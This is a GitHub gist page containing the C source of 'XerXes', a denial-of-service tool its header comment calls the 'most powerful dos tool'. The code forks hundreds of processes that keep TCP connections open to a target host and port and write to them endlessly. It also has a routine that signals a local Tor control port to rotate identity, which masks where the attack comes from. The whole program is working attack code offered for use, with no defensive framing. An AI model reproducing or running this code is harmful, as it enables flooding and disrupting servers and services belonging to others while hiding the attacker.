Created
September 15, 2018 13:06
-
-
Save Cvar1984/ca4cb797fbced8ffdd084d3c1707af43 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* XerXes - Most powerful dos tool - THN (http://www.thehackernews.com) */ | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <stdint.h> | |
| #include <unistd.h> | |
| #include <netdb.h> | |
| #include <signal.h> | |
| #include <sys/socket.h> | |
| #include <sys/types.h> | |
| #include <netinet/in.h> | |
| #include <arpa/inet.h> | |
| int make_socket(char *host, char *port) { | |
| struct addrinfo hints, *servinfo, *p; | |
| int sock, r; | |
| //fprintf(stderr, "\r[Connecting -> %s:%s\r\n", host, port); | |
| memset(&hints, 0, sizeof(hints)); | |
| hints.ai_family = AF_UNSPEC; | |
| hints.ai_socktype = SOCK_STREAM; | |
| if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) { | |
| fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r)); | |
| exit(0); | |
| } | |
| for(p = servinfo; p != NULL; p = p->ai_next) { | |
| if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { | |
| continue; | |
| } | |
| if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) { | |
| close(sock); | |
| continue; | |
| } | |
| break; | |
| } | |
| if(p == NULL) { | |
| if(servinfo) | |
| freeaddrinfo(servinfo); | |
| fprintf(stderr, "No connection could be made\n"); | |
| exit(0); | |
| } | |
| if(servinfo) | |
| freeaddrinfo(servinfo); | |
| //fprintf(stderr, "\r[Connected -> %s:%s]\r\n", host, port); | |
| return sock; | |
| } | |
| void broke(int s) { | |
| // do nothing | |
| } | |
| #define CONNECTIONS 3 | |
| #define THREADS 350 | |
| void attack(char *host, char *port, int id) { | |
| int sockets[CONNECTIONS]; | |
| int x, g=1, r; | |
| for(x=0; x!= CONNECTIONS; x++) | |
| sockets[x]=0; | |
| signal(SIGPIPE, &broke); | |
| while(1) { | |
| for(x=0; x != CONNECTIONS; x++) { | |
| if(sockets[x] == 0) | |
| sockets[x] = make_socket(host, port); | |
| r=write(sockets[x], "\0", 1); | |
| if(r == -1) { | |
| close(sockets[x]); | |
| sockets[x] = make_socket(host, port); | |
| } else | |
| //fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r); | |
| fprintf(stderr, "Packet Sent -> %i\n", id); | |
| } | |
| //fprintf(stderr, "[%i: Packet Sent]\n", id); | |
| usleep(100000); | |
| } | |
| } | |
| void cycle_identity() { | |
| int r; | |
| int socket = make_socket("localhost", "9050"); | |
| write(socket, "AUTHENTICATE \"\"\n", 16); | |
| while(1) { | |
| r=write(socket, "signal NEWNYM\n\x00", 16); | |
| fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r); | |
| usleep(100000); | |
| } | |
| } | |
| int main(int argc, char **argv) { | |
| int x; | |
| if(argc !=3) | |
| cycle_identity(); | |
| for(x=0; x != THREADS; x++) { | |
| if(fork()) | |
| attack(argv[1], argv[2], x); | |
| usleep(100000); | |
| } | |
| getc(stdin); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment